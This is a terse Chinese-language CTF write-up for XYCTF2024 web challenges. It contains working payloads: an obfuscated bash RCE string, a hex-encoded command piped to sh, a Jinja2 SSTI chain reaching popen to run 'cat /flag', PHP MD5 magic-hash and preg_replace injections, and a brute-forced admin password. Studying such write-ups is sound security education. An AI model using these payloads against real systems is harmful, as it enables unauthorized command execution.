XYCTF2024
XYCTF2024
CH0icoezRCE
题目
1 |
|
白名单
1 | 143 141 164 146 154 141 147 163 077 |
exp
1 | $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#100011#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\' |
ezHttp
- ./robots.txt 获得托管文件 → 进一步得到账号密码
- clint referer 协议
- via 改写代理
牢大
- 题干
1 |
|
- 根据 cmd 的强过滤和长度限制 基本上无法直接 rce
- payload 构造:
1 | // 初版 |
ezMAKE
- 题目传参给到 cmd
- 执行 cat cmd
- cmd 的具体内容是自己给的
- 应该是给 flag 被过滤
- 访问../flag 拿到 flag 包 用 linux 系统 cat flag 拿到 flag
- 这个应该是非预期了 按照出题人的方法”trick” 排除 linux 绕过 , 应该要找一个 linux 不绕过但是 php 绕过的办法 干扰过滤
- 访问./flag 下载文件 linux cat
ez?Make
- 反而比 ezmake 好做
- 进到 makefile 界面 ;依然被过滤
- 给了管道符 && 以及 cd 命令等
- cd ..&&cd ..&&cd .. &&echo cat flag
- flag 依然被 ban
- 利用编码绕过
- cd ..&&cd ..&&cd ..&&echo 63617420666c6167| xxd - r - p | sh
ezPOP
- php 反序列化漏洞
1 |
|
1 | AAA 类有一个 __toString() 魔术方法 |
1 |
|
复读机
- 用 bp 爆破密码 : admin / asdqwe
- payload
1 | ?sentence=﹛(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.g)(request.values.h)).read()﹜&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag |
1 | ?sentence=﹛(()| |
- 题目使用 javascript 前端
1 | <script> |
- ok 这是个预览
- {“areEqual”:true,”md5Equal”:false,”md5_1”:”ff76f8f69fc9e242711c71ea6e4cf200”,”md5_2”:”9273c34e146531604741f67e948ba736”}
表面题目是需要不同内容的图片得到同一个 md5
- 抓包看看是前端检验还是后端检验
1 | ------WebKitFormBoundaryu2bDN3LjbIsFsAdH |
- 强相等 无法绕过 只能 md5 碰撞两个真的 md5 一样的不同图片了
warm up
- 第一关是分别几个 md5 绕过
- payload 为
1 | /?val1=QNKCDZO&val2=240610708&md5=0e215962017&XYCTF=240610708&XY=240610708 |
- 得到 LLeeevvveeelll222.php
- 第二关首先是绕过数字检测
1 | a[]=1 |
1 |
|
- 最后卡了一下 preg_replace()
- php 代码审计之 preg_replace 函数-CSDN 博客
1 | a[]=1&b=system('pwd')&c[]=1 |
1 |
|
- 现在会输出一个”system(‘ls’)”